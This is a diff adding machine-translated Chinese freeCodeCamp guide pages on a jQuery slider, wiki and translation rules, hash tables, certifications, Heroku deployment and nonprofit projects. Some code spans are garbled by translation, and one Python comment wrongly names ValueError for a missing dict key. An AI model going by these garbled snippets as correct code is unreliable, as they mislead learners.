+  </div> 
+ 
+  <div class="buttons"><!-- Pause and play buttons will go in here --></div> 
+ 
+ </div> 
+```
+
+在我们的`ul`与`slides`类中，我们将有以下内容：
+```
+<li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+```
+
+在我们的`.buttons`类中，你应该有以下内容：
+```
+<button type="button" class="btn btn-default pause"> 
+    <span class="glyphicon glyphicon-pause"></span> 
+ </button> 
+ <button type="button" class="btn btn-default play"> 
+    <span class="glyphicon glyphicon-play"></span> 
+ </button> 
+```
+
+以下是您的`html`应该是什么样子的示例：
+
+> 注意：您应该将image `src`属性替换为您自己的内容。
+```
+<div class="container"> 
+ 
+  <div class="slider"> 
+    <ul class="slides"> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=120" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=70" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=50" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=170" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=190" /></li> 
+    </ul> 
+  </div> 
+ 
+  <div class="buttons"> 
+    <button type="button" class="btn btn-default pause"> 
+      <span class="glyphicon glyphicon-pause"></span> 
+    </button> 
+    <button type="button" class="btn btn-default play"> 
+      <span class="glyphicon glyphicon-play"></span> 
+    </button> 
+  </div> 
+ 
+ </div> 
+```
+
+## SCSS
+
+我们使用[Sass](http://sass-lang.com/)和SCSS语法，因此我们可以嵌套和使用变量![:heart_decoration:](//forum.freecodecamp.com/images/emoji/emoji_one/heart_decoration.png?v=2 "：heart_decoration：")
+
+我们可以使用以下SCSS来定义我们的样式：
+```
+// Variables 
+ $width: 720px; 
+ 
+ .slider { 
+  width: $width; 
+  height: 400px; 
+  overflow: hidden; 
+  margin: 0 auto; 
+  text-align: center; 
+ 
+  .slides { 
+    display: block; 
+    width: 6000px; 
+    height: 400px; 
+    margin: 0; 
+    padding: 0; 
+  } 
+ 
+  .slide { 
+    float: left; 
+    list-style-type: none; 
+    width: $width; 
+    height: 400px; 
+ 
+    img { 
+      width: 100%; 
+      height: 100%; 
+    } 
+  } 
+ } 
+ 
+ .buttons { 
+  margin: 0; 
+  width: $width; 
+  position: relative; 
+  top: -40px; 
+  margin: 0 auto; 
+ 
+  .play { 
+    display: none; 
+  } 
+ 
+  .btn { 
+    display: flex; 
+    margin: 0 auto; 
+    text-align: center; 
+  } 
+ } 
+```
+
+## JS
+
+#### 变量
+
+_在下面的代码片段中，我们定义了稍后在代码中使用的变量。_
+```
+var animationSpeed = 1000; // How quickly the next slide animates. 
+ var pause = 3000; // The pause between each slide. 
+```
+
+我们将使用一个空变量，我们将调用`setInterval`方法：
+```
+var interval; 
+```
+
+#### 动画我们将滑块动画包装在一个函数中：
+```
+function startSlider() {} 
+```
+
+我们使用`setInterval()`本机JavaScript方法在基于时间的触发器上自动化函数的内容。
+```
+interval = setInterval(function() {}, pause); 
+```
+
+我们使用`pause`变量来查看再次调用函数之前要等待多少毫秒。在此处阅读有关本机`setInterval`方法的更多信息：https：//developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval。在我们的函数内部，我们将使用jQuery在animationSpeed变量的速度之间淡入幻灯片：
+```
+$('.slides > li:first') 
+  .fadeOut(animationSpeed) 
+  .next() 
+  .fadeIn(animationSpeed) 
+  .end() 
+  .appendTo('.slides'); 
+```
+
+*   我们使用`$('.slides > li:first')`定位第一`$('.slides > li:first')` 。 - `.fadeOut(animationSpeed)`将淡出第一张幻灯片，然后使用`.next()` ，我们移动到下一张幻灯片。 - 一旦我们移动到下一张幻灯片，我们将淡入淡出： `.fadeIn(animationSpeed)` 。 - 此序列将一直持续到最后一张幻灯片（ `.end()` ），然后我们停止动画。我们现在将调用`startSlider`函数来启动动画：
+    
+    startSlider（）;
+    
+
+#### 播放和暂停_此功能是可选的，但很容易实现。_我们将隐藏播放按钮，因此我们看不到播放和暂停按钮：
+```
+$('.play').hide(); // Hiding the play button. 
+```
+
+我们现在将创建暂停按钮（在页面加载时自动显示）：
+```
+$('.pause').click(function() { 
+    clearInterval(interval); 
+    $(this).hide(); 
+    $('.play').show(); 
+ }); 
+```
+
+*   每次使用jQuery单击暂停按钮时，我们将调用我们的函数。 - 我们将使用`clearInterval`方法删除间隔，并使用我们的`interval`变量作为参数，指示要停止的间隔。 - 因为我们的滑块已暂停，我们将使用`$(this).hide();`隐藏暂停按钮`$(this).hide();` 。注意：我们正在使用`this` ，它将引用我们的父母正在调用的内容，即`.pause` 。 - 然后我们将显示我们的播放按钮，以便用户可以恢复动画： `$('.play').show();` 。以下代码设置我们的播放按钮（在页面加载时自动隐藏）：
+    
+    $（'。play'）。click（function（）{ startSlider（）; $（本）.hide（）; $（ '暂停'）显示（）。 }）;
+    
+*   每次使用jQuery单击播放按钮时，我们将调用我们的函数。
+    
+    *   我们将使用`startSlider`函数启动或重新启动间隔。
+    *   因为我们的滑块当前正在播放，我们将使用`$(this).hide();`隐藏播放按钮`$(this).hide();` 。注意：我们正在使用`this` ，它将引用我们的父母`.play` 。
+    *   然后我们将显示我们的暂停按钮，以便用户可以随意停止动画： `$('.pause').show();` 。
+
+## 参考
+
+*   查看本教程的[CodePen](https://codepen.io/atjonathan/pen/BKMxxq)上的源代码和示例。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md b/client/src/guide/chinese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
new file mode 100644
index 0000000000..e8593e44df
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
@@ -0,0 +1,28 @@
+---
+title: Guidelines and Rules for Wiki Articles
+localeTitle: 维基文章的指南和规则
+---
+欢迎来到论坛的wiki部分。
+
+我们邀请您根据需要使用，改进和创建新的。这是为社区做出贡献的好方法。
+
+我们欢迎任何与软件开发相关的内容，从教程到概念概述，再到实用建议。
+
+**信任等级为1的**任何人（在阅读文章约一小时后你会自动获得）可以编辑和创建维基帖。
+
+我们的版主将对违反我们[行为准则的](https://www.freecodecamp.com/code-of-conduct)任何内容进行编辑，删除或重新分类[。](https://www.freecodecamp.com/code-of-conduct)或者不属于维基部分（例如问题或挑战解决方案）。
+
+## 如何创建一个wiki文章
+
+1.  像往常一样创建主题
+2.  点击帖子的“...”菜单，然后选择“制作维基”
+3.  发送私人信息给[@ Rafase282](/users/rafase282)让他知道你创建了一篇文章并简化了所有权变更的过渡
+4.  请避免以第一人称写作，不要通过链接签署文章或宣传自己。不要担心 - 您的作者身份将作为文章版本历史的一部分保留。
+
+## 常问问题
+
+1.  **为什么我需要将文章的所有权更改为[@camperbot](/users/camperbot) ？**  
+    它有助于我们更好地跟踪文章的变化，并防止文章的任何故意破坏对其原始作者的反映不佳。它还为每个人提供了一个[可以跟踪维基活动](//forum.freecodecamp.com/users/camperbot/activity)的[公共场所](//forum.freecodecamp.com/users/camperbot/activity) 。
+    
+2.  **我如何转让所有权？**  
+    [@ Rafase282](/users/rafase282)最终会为你做这件事，但如果你有时间， [请给他发一条消息](//forum.freecodecamp.com/users/rafase282)来加快速度。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md b/client/src/guide/chinese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
new file mode 100644
index 0000000000..6471e40072
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
@@ -0,0 +1,55 @@
+---
+title: Guidelines for Translating Free Code Camp to Any Language
+localeTitle: 将免费代码营翻译成任何语言的指南
+---
+非常感谢您对翻译FreeCodeCamp的兴趣。建议您阅读本文档，共同努力将FreeCodeCamp带给全世界越来越多的人。
+
+## 如何为翻译做贡献？
+
+您可以通过多种方式协作翻译。每次翻译工作通常都遵循以下工作流程。
+
+> _专业提示：您可以根据自己的兴趣为工作流程中的任何或所有以下阶段做出贡献。_
+
+*   [审查另一位翻译的工作](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/3) 。
+*   [创建`Translation`问题以跟踪进度](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/4) 。
+*   [实施翻译](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/5) 。
+*   [创建Pull请求以将Translations添加到代码库](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/6)
+
+## 指南和资源
+
+### 一般准则
+
+*   尽量不要太正式但不要太随意，只是为了保持友好。
+*   为了使目标语言的母语人士更容易理解内容（想想那些不会说英语的人），尽可能多地翻译，只有在国家/地区广泛使用时才尝试使用英语单词说出目标语言的地方。
+
+### 词汇表
+
+如果所有使用相同语言的翻译人员创建一个词汇表，显示FreeCodeCamp挑战中使用的英语单词翻译，则效率很高。有时翻译某些术语的方式不止一种，区域差异可能会产生混淆（例如，西班牙语与西班牙语和拉丁美洲语之间或加拿大和法国使用的法语之间的某些术语可能不同）。要民主！通过投票选择最合适的翻译并记录结果。这种记录的一个例子可以在这里找到： [FreeCodeCamp Glossary（英语到西班牙语）](https://docs.google.com/spreadsheets/d/1c60Sl4MAAsZ7biCPgur7A4aVqhErIfwrE1SulPqbOGo/edit#gid=0)使用聊天室讨论词汇表，所以没有人会错过任何东西。
+
+### 如果您需要Google翻译工具包的帮助
+
+您可以通过使用Google翻译工具包找到自动化翻译流程的帮助，请参阅： [西班牙语指南](https://github.com/vtamara/fcc_trad)
+
+### 创建FreeCodeCamp的测试实例
+
+随着翻译的推进，看到最终产品可以帮助您保持积极性。这就是为什么创建一个FreeCodeCamp的测试实例是个好主意，你可以在其中包含你正在使用的语言翻译的最新变化，并使用FreeCodeCamp包括那些变化。为西班牙语版本的FreeCodeCamp创建了以下测试实例： [入门](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json) 。要创建测试实例，请执行以下步骤：
+
+1.  按照“ [贡献”页面](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md)的说明，确保您可以看到正在运行的英文实例
+2.  打开[支持的Languages.js](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/common/utils/supported-languages.js)并添加实例的语言。（例如`es: 'Spanish'` ），重新启动您的实例。
+3.  使用您的语言前缀更改网址（例如，对于西班牙语， `/en/challenges/` to `/es/challenges/` ），如果页面已翻译，您应该能够看到它。
+4.  查找语言文件，尝试搜索存储库中的关键字，您可以在`/seed/challenges/`下找到所有挑战，例如，“ _[入门”](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json)_页面位于`freeCodeCamp/seed/challenges/00-getting-started/getting-started.json`
+5.  快乐翻译！
+6.  在提交PR之前，请确保在提交中**不要**包含`supported-lamguages.js` （ `$ git reset -- common/utils/supported-languages.js` ）
+7.  最后但并非最不重要，请确保遵循“ [贡献者指南”中的](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md)所有规则。
+8.  谢谢你的贡献！
+
+### 参考
+
+*   [FreeCodeCamp源代码的文档。](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/README.md)
+*   [提取请求贡献](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Pull-Request-Contribute)
+*   [帮助文件使用Google Translator Toolkit翻译FreeCodeCamp的挑战和指示。](https://github.com/vtamara/fcc_trad/blob/master/README.md)
+*   [贡献者指南](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md)
+
+如果您觉得它很有用，您可以将这些说明翻译成您的语言，并为您的翻译团队进行调整（例如，请参阅[原文为西班牙语。](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.md) ）
+
+_本指南基于[此文章](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.EN.md) 。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/chinese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..1abc118fe2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,5 @@
+---
+title: Hallenge Add Different Margins to Each Side of an Element
+localeTitle: Hallenge为元素的每一边添加不同的边距
+---
+CSS允许您控制四边的元素`margin-top` ， `margin-right` `margin-bottom` `margin-right` ， `margin-bottom`和`margin-left`属性。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/hash-tables-and-hashing-functions/index.md b/client/src/guide/chinese/miscellaneous/hash-tables-and-hashing-functions/index.md
new file mode 100644
index 0000000000..870d1948ec
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/hash-tables-and-hashing-functions/index.md
@@ -0,0 +1,166 @@
+---
+title: Hash Tables and Hashing Functions
+localeTitle: 散列表和散列函数
+---
+### 哈希简介
+
+散列旨在解决需要有效地查找或存储集合中的项目的问题。  
+例如，如果我们有10,000个英语单词的列表，并且我们想要检查列表中是否有给定单词，那么在我们找到匹配项之前连续比较该单词与所有10,000个项目是低效的。即使单词列表按字典顺序排序，如字典中，您仍需要一些时间来查找您要查找的单词。  
+哈希是一种通过在一开始就有效地缩小搜索范围来提高效率的技术。
+
+## 什么是哈希？
+
+散列意味着使用一些函数或算法将对象数据映射到某个代表性的整数值。  
+这种所谓的哈希码（或简称哈希）可以用作在地图中查找项目时缩小搜索范围的方法。  
+通常，这些哈希码用于生成索引，在该索引处存储该值。
+
+## 哈希是如何工作的
+
+在哈希表中，您以键和值对的形式存储数据。用于标识数据的密钥作为散列函数的输入给出。然后将哈希码（整数）映射到我们拥有的固定大小。
+
+哈希表必须支持3个函数。
+
+*   插入（键，值）
+*   得到（关键）
+*   删除（键）
+
+纯粹作为帮助我们理解概念的一个例子，让我们假设我们想要将字符串键列表映射到字符串值（例如，将国家列表映射到其首都城市）。  
+因此，假设我们希望将数据存储在地图中的表格中。
+
+钥匙|值  
+\---------------- | -------------  
+古巴|哈瓦那  
+英格兰|伦敦  
+法国|巴黎  
+西班牙|马德里  
+瑞士|伯尔尼
+
+让我们假设我们的哈希函数只是简单地取字符串的长度。
+
+为简单起见，我们将有两个数组：一个用于键，一个用于值。  
+因此，为了将一个项放入哈希表中，我们计算其哈希码（在这种情况下，只计算字符数），然后将键和值放在相应索引的数组中。  
+例如，古巴的哈希码（长度）为4。  
+因此，我们将古巴存储在keys数组中的第4个位置，将哈瓦那存储在values数组的第4个索引中。我们最终得到以下结果：
+
+职位|键阵列|值数组  
+\--------------------- | ------------------ | --------- ------  
+1 | |  
+2 | |  
+3 | |  
+4 |古巴|哈瓦那  
+5 |西班牙|马德里  
+6 |法国|巴黎  
+7 |英格兰|伦敦  
+8 | |  
+9 | |  
+10 | |  
+11 |瑞士|伯尔尼
+
+现在，在这个具体的例子中，事情很顺利。  
+我们的阵列需要足够大以容纳最长的字符串，但在这种情况下，只有11个插槽。  
+我们确实浪费了一些空间，例如，我们的数据中没有单字母键，也没有8到10个字母之间的键。但在这种情况下，浪费的空间也不是那么糟糕。获取字符串的长度既快又好，找到与给定键相关的值的过程也是如此（当然比最多进行五次字符串比较要快）。
+
+但是，如果我们的数据集有一个超过11个字符的字符串，我们该怎么办？  
+如果我们有另外一个包含5个字符的单词“India”，并尝试使用我们的哈希函数将其分配给索引，该怎么办？由于索引5已被占用，我们必须打电话询问如何处理它。这称为碰撞。
+
+如果我们的数据集有一个包含数千个字符的字符串，并且您创建了一个包含数千个索引的数组来存储数据，则会导致空间浪费。如果我们的密钥是来自英语的随机单词，其中有如此多的单词具有相同的长度，则使用长度作为散列函数将是相当无用的。
+
+## 碰撞处理
+
+两种基本方法用于处理冲突。
+
+1.  单独链接
+2.  打开寻址
+
+#### 单独链接
+
+通过单独链接进行散列冲突处理，使用额外的数据结构，优选地将动态分配的链表放入存储桶中。在我们的示例中，当我们将India添加到数据集时，它将附加到存储在索引5处的链接列表，然后我们的表将如下所示。
+
+职位|链表头|  
+\--------------------- | ---------------------------- -------- |  
+1 | |  
+2 | |  
+3 | |  
+4 | [古巴 - 哈瓦那\] |  
+5 | \[西班牙 - 马德里\] - > \[印度 - 德里\] |  
+6 | \[法国 - 巴黎\] |  
+7 | \[英格兰 - 伦敦\] |  
+8 | |  
+9 | |  
+10 | |  
+11 | \[瑞士 - 伯尔尼\] |](https://en.wikipedia.org/wiki/Linear_probing)
+
+要查找项目，我们首先转到存储桶然后比较密钥。这是一种流行的方法，如果使用链接列表，则哈希值永远不会填满。 `get(k)`的成本平均为`O(n)` ，其中n是桶中的密钥数，密钥总数为N.  
+单独链接的问题在于数据结构可以在不受限制的情况下增长。
+
+#### 打开寻址
+
+开放寻址不会引入任何新的数据结构。如果发生碰撞，那么我们在算法生成的下一个点中寻找可用性。开放寻址通常用于存储空间受限的情况，即嵌入式处理器。打开寻址不一定比单独链接更快。
+
+开放寻址的方法
+
+*   \[线性探测
+*   [二次探测](https://en.wikipedia.org/wiki/Quadratic_probing)
+*   [双重哈希](https://en.wikipedia.org/wiki/Double_hashing)
+
+## 如何在代码中使用散列。
+
+#### 蟒蛇
+```
+   # Few languages like Python, Ruby come with an in-built hashing support. 
+   # Declaration 
+    my_hash_table = {} 
+    my_hash_table = dict() 
+ 
+   # Insertion 
+    my_hash_table[key] = value 
+ 
+   # Look up 
+    value = my_hash_table.get(key) # returns None if the key is not present || Deferred in python 3, available in python 2 
+    value = my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Deletion 
+    del my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Getting all keys and values stored in the dictionary 
+    keys = my_hash_table.keys() 
+    values = my_hash_table.values() 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVtK)
+
+#### Java的
+```
+    // Java doesn't include hashing by default, you have to import it from java.util library 
+    // Importing hashmaps 
+    import java.util.HashMap; 
+ 
+   // Declaration 
+    HashMap<Integer, Integer> myHashTable = new HashMap<Integer, Integer>(); // declares an empty map. 
+ 
+   // Insertion 
+    myHashTable.put(key, value); 
+ 
+   // Deletion 
+    myHashtable.remove(key); 
+ 
+    // Look up 
+    myHashTable.get(key); // returns null if the key K is not present 
+    myHashTable.containsKey(key); // returns a boolean value, indicating the presence of a key 
+ 
+    // Number of key, value pairs in the hash table 
+    myHashTable.size(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVt1)
+
+## 资源
+
+*   为了进一步阅读，您可以尝试使用此[链接](http://geeksquiz.com/hashing-set-1-introduction/) ，这可以使用不同的示例来解释哈希。
+*   [在60秒内哈希](https://www.youtube.com/watch?v=x05KubVlh_M) 。
+*   [杜鹃哈希](https://www.youtube.com/watch?v=HRzg0SzFLQQ)
+*   [坚持哈希](https://www.youtube.com/watch?v=jznJKL0CrxM)
+*   [布隆过滤器](https://www.youtube.com/watch?v=-SuTGoFYjZs)
+*   [哈希策略](https://www.youtube.com/watch?v=D65JQ0qQwZk)
+*   [密码哈希](https://crackstation.net/hashing-security.htm)
+*   [散列和加密之间的区别](http://stackoverflow.com/questions/326699/difference-between-hashing-a-password-and-encrypting-it)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
new file mode 100644
index 0000000000..2efd84b2e7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Back End Development Certification
+localeTitle: Heres如何获得我们经过验证的后端开发认证
+---
+![后端开发认证样本的图像](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea633a0abec2ec4b17c3c9b5b24fb9809776289a.png)
+
+1.  API项目
+2.  动态Web应用程序项目
+
+完成上述所有操作后，您可以完成我们的[“索取您的后端开发认证”](http://www.freecodecamp.com/challenges/claim-your-back-end-development-certificate)挑战，这将要求您签署我们的学术诚信承诺。然后，我们将立即发出您的经过验证的认证，该认证可从您的投资组合页面访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
new file mode 100644
index 0000000000..d981ba65c8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Data Visualization Certification
+localeTitle: Heres如何获得我们的验证数据可视化认证
+---
+![样本前端开发证书的图像](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e8807cae251ec214589ef35de95f956433d14280.png)
+
+1.  反应项目
+2.  数据可视化项目
+
+完成上述所有操作后，您可以完成我们的[“索取数据可视化认证”](http://www.freecodecamp.com/challenges/claim-your-data-visualization-certificate)挑战，这将要求您签署我们的学术诚信承诺。然后，我们将立即发出您的经过验证的认证，该认证可从您的投资组合页面访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
new file mode 100644
index 0000000000..56a0997edd
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
@@ -0,0 +1,13 @@
+---
+title: Heres How to Earn Our Verified Front End Development Certification
+localeTitle: Heres如何获得我们经过验证的前端开发认证
+---
+![样本前端开发证书的图像](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9579e6ad7bc3022fc5a6574be16791b5484f4867.png)
+
+1.  完成我们当前的所有基本算法
+2.  完成我们目前的所有基本前端项目
+3.  完成我们当前的所有中级算法
+4.  完成我们目前的所有中级前端项目
+5.  完成我们当前的所有高级前端项目
+
+完成上述所有操作后，您可以完成我们的[“索取您的前端开发认证”](http://www.freecodecamp.com/challenges/claim-your-front-end-development-certificate)挑战，这将要求您签署我们的学术诚信承诺。然后，我们将立即发出您的经过验证的认证，该认证可从您的投资组合页面访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/heroku-deployment-guide/index.md b/client/src/guide/chinese/miscellaneous/heroku-deployment-guide/index.md
new file mode 100644
index 0000000000..c478da96e6
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/heroku-deployment-guide/index.md
@@ -0,0 +1,69 @@
+---
+title: Heroku Deployment Guide
+localeTitle: Heroku部署指南
+---
+1.  创建一个Heroku帐户。
+    
+2.  创建帐户后，您可以转到[信息中心](https://dashboard.heroku.com/apps)
+    
+3.  单击右上角的+号，然后单击Create New App（就像您在github上创建一个新的repo一样）。为其命名，然后单击“创建”。
+    
+4.  创建应用后，您会在信息中心中看到其名称。点击它。
+    
+5.  您将被带到该应用程序的仪表板。单击“部署”选项卡。
+    
+6.  在那里你会很高兴地发现你可以连接到github仓库。在“部署方法”部分中，选择Github并通过登录Github进行身份验证。
+    
+7.  在其下方，填写您的github回购名称。 （这当然要求您已经从cloud9或本地计算机上将repo推送到github ......并且您已经正确配置了它。更多信息如下。）
+    
+8.  再次向下滚动并单击“自动部署”或向下滚动更多，然后单击“手动部署”。片刻之后，您应该会看到您的应用程序在your-repo-name.herokuapp.com上运行。甜。
+    
+
+## 在本地或在Cloud9上创建应用程序
+
+1.  创建一个名为timestamp-microservice的新文件夹（或任何调用项目的文件夹）。
+
+`$ mkdir timestamp-microservice && cd timestamp-microservice`
+
+1.  创建您需要的文件：
+
+`$ touch .env .gitignore README.md index.html server.js`
+
+1.  在此过程中安装所需的软件包
+
+例子：
+
+`$ npm install --save express`
+
+`$ npm install --save moment`
+
+这些将添加到根文件夹中名为node\_modules的文件夹中。
+
+1.  通过执行`$ npm init` ，使用package.json初始化项目
+
+它会问你一系列问题，并根据你的答案及其默认值在你的根文件夹中创建一个package.json文件。如果你已经创建了一个名为server.js的文件，如上所述，这个_必不可少的_行将被添加到你的package.json文件中：
+```
+  "scripts": { 
+ 
+  "start": "node server.js" 
+ 
+  } 
+```
+
+如果你把它命名为其他东西，比如'index.js'，那行就不会被添加，你必须手动添加它。这是[这里](https://docs.npmjs.com/files/package.json#default-values)提到的默认行为。您可以在此步骤之前或之后安装节点模块，它们将自动添加到package.json中。
+
+1.  准备好后，在github上创建一个新的存储库，复制远程URL，并通过执行以下操作在本地初始化项目：
+
+`$ git init`
+
+`$ git add .`
+
+`$ git commit -m "initial commit"`
+
+`$ git remote add origin <your github url>`
+
+`$ git push -u origin master`
+
+提示：在您的server.js文件中，请确保使用`app.listen(process.env.PORT || <default port>)`以便该应用程序在heroku上运行。
+
+返回上面的第7步。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md b/client/src/guide/chinese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
new file mode 100644
index 0000000000..8d6ccf5c32
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
@@ -0,0 +1,5 @@
+---
+title: How Can I Submit an Story to Free Code Camps Medium Publication
+localeTitle: 如何向免费代码营中型出版物提交故事
+---
+阅读我们的[官方指南](https://medium.freecodecamp.com/how-to-get-published-in-the-freecodecamp-medium-publication-9b342a22400e) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-free-code-camp-works/index.md b/client/src/guide/chinese/miscellaneous/how-free-code-camp-works/index.md
new file mode 100644
index 0000000000..f872b38fed
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-free-code-camp-works/index.md
@@ -0,0 +1,19 @@
+---
+title: How Free Code Camp Works
+localeTitle: 免费代码营如何运作
+---
+免费代码营为您提供免费的，自定进度的，基于浏览器的程序，大约需要1,600小时才能完成。
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/4/44b781708f6843b9267c13519cd6c536e890a411.jpg)
+
+## 怎么运行的
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9c1bbc97c9db0bb74a9481a42db011ff4b5efc9d.jpg)
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0a30120f5d35b4e0e41de87c54339a873b85d953.jpg)
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0b2b928ff55c6f42b397b2167d39acb3883d843b.jpg)
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f808b2e3401b997a3376807faf074055ee2b6cf.jpg)
+
+![显示自由代码阵营的不同的段的桌的图象](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ccae292690f8e5dd418d3defee255576de30ff37.jpg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md b/client/src/guide/chinese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
new file mode 100644
index 0000000000..ee643e3f63
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
@@ -0,0 +1,88 @@
+---
+title: How Free Code Camps Nonprofits Projects Work
+localeTitle: 免费代码营非营利项目如何运作
+---
+建立非营利性项目是我们的营员学习全栈JavaScript和敏捷软件开发的主要方式。获得前端开发，数据可视化和后端开发认证后，您将开始此过程。
+
+## 从头到尾开始
+
+我们在Free Code Camp的目标是帮助您找到一份软件开发人员的工作，或者在当前的公司中晋升为更具技术性的职位。
+
+你将继续从事非营利项目，直到你建立了一个足够令人印象深刻的投资组合和参考来开始你的求职。您的投资组合最终将有四个非营利项目。我们估计，800小时的非营利项目和80小时的面试准备工作，除了你已经完成的1,200小时的挑战，还有足够的资格让你有资格获得第一个编码工作。
+
+## 您的第一个非营利项目
+
+我们通常将非营利项目的范围扩大到每个露营者每周20小时的200小时或大约10周。这些只是粗略估计。您一次只能处理一个项目。
+
+您将选择另一个与此项目合作的露营者。您应该根据以下内容选择它们：
+
+*   您的预计时间承诺（每周10,20或40小时）
+*   你的时区（你可以将节目配对吗？）
+*   先前的编码经验（我们希望两个露营者能够平等贡献）
+
+我们不会考虑年龄或性别。这将为您提供与各种团队合作的宝贵经验，这是当代工作场所的现实。
+
+然后，您将发送电子邮件至team@freecodecamp.com：
+
+*   名称
+*   联系信息
+*   链接到您的每个免费代码营代码组合
+*   时区
+*   每周承诺的小时数
+
+我们将向您发送一份需要您帮助的3个非营利项目列表，您将共同选择一个开始工作的项目。当您这样做时，我们的团队将对您的每个代码组合进行代码审查，以确保所有用户故事都已完成，并且没有学术不诚实的迹象。
+
+### 开始项目
+
+我们将与Free Code Camp，两位露营者和利益相关者的代表进行初步会谈。如果利益相关者和两个露营者都迅速出现，并且看起来热情和专业，我们将启动该项目。这个漫长的过程有一个重要的目的：它降低了我们的任何露营者或利益相关者浪费宝贵时间的可能性。
+
+### 非营利性利益相关者
+
+每个非营利项目都由一个非营利组织提交。这个非营利组织的代表同意作为“利益相关者” - 一个了解该组织及其对该特定项目的需求的授权人。
+
